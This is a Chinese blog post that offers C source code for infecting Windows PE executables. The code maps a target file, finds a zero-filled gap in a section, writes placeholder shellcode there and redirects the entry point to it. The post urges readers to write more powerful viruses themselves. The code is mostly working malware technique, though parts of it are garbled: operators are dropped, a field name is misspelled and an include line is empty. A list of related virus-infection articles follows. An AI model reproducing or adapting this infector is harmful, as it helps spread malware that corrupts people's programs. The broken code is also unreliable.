编程学着不是让你领教它的枯燥无味的,是让你灵活的用它的,让人们凌驾于计算机的智慧之上,用它把你的生活变得更简单,让不完美的世界更完美,看到了很多人自己写程序表白,的确可以做出很多浪漫。

    你还可以拿着它玩出各种花样,别说你能力不够,那只是你对自己懒于思考,懒于学习的借口,世上无难事只怕有心人!奉上用C编程实现简易病毒的感染功能,别人能用很高级很复杂方式做到的事情,我同样能拿着最基层的方式做到,这里面很多函数,很多结果你根本就不需要写,只要记一下就行了,都是别人早就写好了的。

代码如下:
#include
//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。
char shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader);//唯一一个必须自己写的函数,用于寻找文件空隙。
int main(int argc,char *agrv[])
{
        HANDLE hFile=NULL;
        HANDLE hMap=NULL;
        LPVOID lpBase=NULL; //建立文件句柄,文件视图句柄用于读取文件的PE结构(不懂PE结构就先别学玩毒,先学PE吧),lpBase指向文件基地址的指针
        hFile=CreateFile("F:\\1\\test.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
        //先打开要感染的文件,以感染一个名为test.exe文件为例,可以自己修改,后面的参数学过English就懂,英语文盲就去补英语去吧。
        hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
        //打开文件的二进制视图,以查看PE,确定相关信息以图写入。
        lpBase=MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
        PIMAGE_DOS_HEADER pDosHeader=(PIMAGE_DOS_HEADER)lpBase; //读取基地址处PE结构的dos信息;
        PIMAGE_NT_HEADERS pNtHeader=NULL; //用于保存PE结构的文件头
        IMAGE_SECTION_HEADER imgSec={0};
        if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) //判断文件是否为PE结构
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return -1;
        }
        pNtHeader=(PIMAGE_NT_HEADERS)(BYTE*)lpBase pDosHeader->e_lfanew; //读取文件头
        if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE) //判断文件是否为PE结构
        {
            UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return -1;
        }
        DWORD dwAddr=FindSpace(lpBase,pNtHeader); //寻找文件空隙
        DWORD dwOep=pNtHeader->OptionalHeader.ImageBase pNtHeader->OptionalHeader.AddressOfEntryPoint;  //获取文件打开时的入口点
        *(DWORD *)&shellcode[5]=dwOep;
        memcpy((char*)dwAddr,shellcode,strlen(shellcode) 3);
        dwAddr=dwAddr-(DWORD)(BYTE*)lpBase;
        pNtHeader->OptionalHeader.AddressOfEntryPoint=dwAddr; //构造新的入口点
    UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
}
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
{
        //用于读取文件节区信息
        PIMAGE_SECTION_HEADER pSec=(PIMAGE_SECTION_HEADER)(((BYTE*)&(pNtHeader->OptionalHeader) pNtHeader->FileHeader.SizeOfOptionalHeader));
        DWORD dwAddr=pSec->ointerToRawData pSec->SizeOfRawData-sizeof(shellcode);
        LPVOID lp=malloc(sizeof(shellcode));
        memset(lp,0,sizeof(shellcode));
        while(dwAddr>pSec->Misc.VirtualSize)
        {
                int nRet=memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
                if(nRet==0)
                {
                        free(lp);
                        return dwAddr; //返回有可用空间即空隙的地址
                }
                dwAddr--;
        }
        free(lp);
        return 0;
}
//你可以拿它,改改CreateFile处的路径,感染你自己的文件试试,然后用OD或者C32asm看看有什么效果。

通过C编程实现病毒的文件感染功能…相关推荐

  1. 从编程角度揭示病毒感染原理--之乾坤大挪移(PE病毒文件感染原理)

    从编程角度揭示病毒感染原理                                                            --之乾坤大挪移(PE病毒文件感染原理) 作者:冒险王 ...

  2. 高级语言病毒是如何进行文件感染的?

    1,水乳交融式的感染          所谓水乳交融,是指蠕虫与宿主真正成为一体,而不是独立的两部分.这种感染方式在汇编写的病毒中很普遍,但在高级语言病毒中则少见,这主要是因为高级语言不像汇编那样可以 ...

  3. PE文件感染程序设计(PE病毒)

    PE文件感染程序设计 本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导.也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路. 1. 设计思路 遍历当 ...

  4. 菜鸟的病毒分析5 pe感染文件感染病毒

    pe文件感染病毒 感觉好长时间没写了,这个pe结构着实让我很头痛,花了很长时间了解它.现在终于了解一点点了,下手分析一下win32简单的病毒.具体的有关于pe结构seh结构的问题去看雪上看看有很多的. ...

  5. 病毒是怎样感染文件的?

    病毒是附着于程序或文件中的一段计算机代码,它可在计算机之间传播.它一边传播一边感染计算机.病毒可损坏软件.硬件和文件. 可执行程序都有文件头,病毒修改了程序的文件头,使得程序在运行之前现加载病毒程序, ...

  6. 病毒研究之感染linux脚本

    病毒研究之感染linux脚本     对于shell编程的程序员来说所谓的shell病毒技术就是小牛一毛而已,看完本文后你就会有所体会但,简单归简单,我们还是要去了解它,呵呵.  主要的shell病毒 ...

  7. PE文件感染和内存驻留

    这次,作者将和大家一起讨论病毒的感染技术.另外,从本文开始,我们将陆续接触到一些病毒的高级编码技术.例如,内存驻留.EPO(入口点模糊)技术.加密技术.多态和变形等.通过这些高级技巧,你将进一步感受到 ...

  8. 手工查杀病毒常见文件型分析总结

    很久没写点自己的东西了,今天更新点这么久来积累的一点关于病毒查杀方面的东西,希望对大家日后遇到常见病毒,各种顽固病毒都能有应对的策略. 希望我的这些经验能对大家以后查杀病毒有所帮助,不足之处请高手指点 ...

  9. 勒索病毒服务器文件加密后缀,WannaCry勒索病毒文件加密密码结构

    引言勒索病毒Wannacry爆发已经过去一周了,由于该病毒采用加密用户文件方式进行勒索,许多朋友对该病毒文件加解密过程比较感兴趣.在已见到的病毒分析报告[1-4]中对文件加解密过程描述的比较零散.为便 ...

最新文章

  1. 特殊时期之下的 AI 成功“逆行”,技术繁荣生长之下的“AI隐疾”
  2. How is parsed BeanDefinition registered
  3. json格式数据,将数据库中查询的结果转换为json, 然后调用接口的方式返回json(方式一)...
  4. python的前端开发_Python开发【前端】:html
  5. java数组 方法_Java数组的十大方法
  6. git出现红字说明什么_怀孕的第一个月会出现什么变化?若有7种表现,说明可能怀上了...
  7. winpython anaconda_Windows:安装 Anaconda《 Python:基础 》
  8. 【数据结构笔记33】C实现:希尔排序、增量序列
  9. 数据库 SQL语法二
  10. Origin图例去除边框
  11. 自相关函数互相关函数
  12. LoRa网关的特点及应用
  13. 2020 05 02 记录思考
  14. java随机点名器_Java实现简单随机点名器
  15. IGraphicsContain 删除元素
  16. Day-8 bootstrap 徽章、进度条、分页、列表组
  17. drv8833 马达控制
  18. 我TM吹爆 VIM - 安装入门,部署
  19. Mac 的 Vim 如何使用系统剪切板
  20. EGO游戏 トキの戦華 时之战华 剧情攻略(+修改器+特殊码)

热门文章

  1. python学什么方向就业好_学习python就业方向都有哪些?
  2. 2019运营商最新号码段正则表达式
  3. 风机变速箱_1.5MW风机变速箱维修成本分析
  4. Html 标签详细整理
  5. 无线群控服务器转让,群控客户端绑定服务器文件
  6. 029 | 安亚同城网商业计划书 | 大学生创新训练项目申请书 | 极致技术工厂
  7. 这笔钱领了吗?拥有信息系统项目管理师等软考类证书可获技能提升补贴最高2000元!
  8. android auto三方地图,GitHub - puderty/pudev: 1,百度CarLife映射与高清修改,纯属自用。2,Android Auto的第三方地图...
  9. springboot对接第三方微信授权(以及获取用户的头像和昵称等等)
  10. position为absolute与fixed区别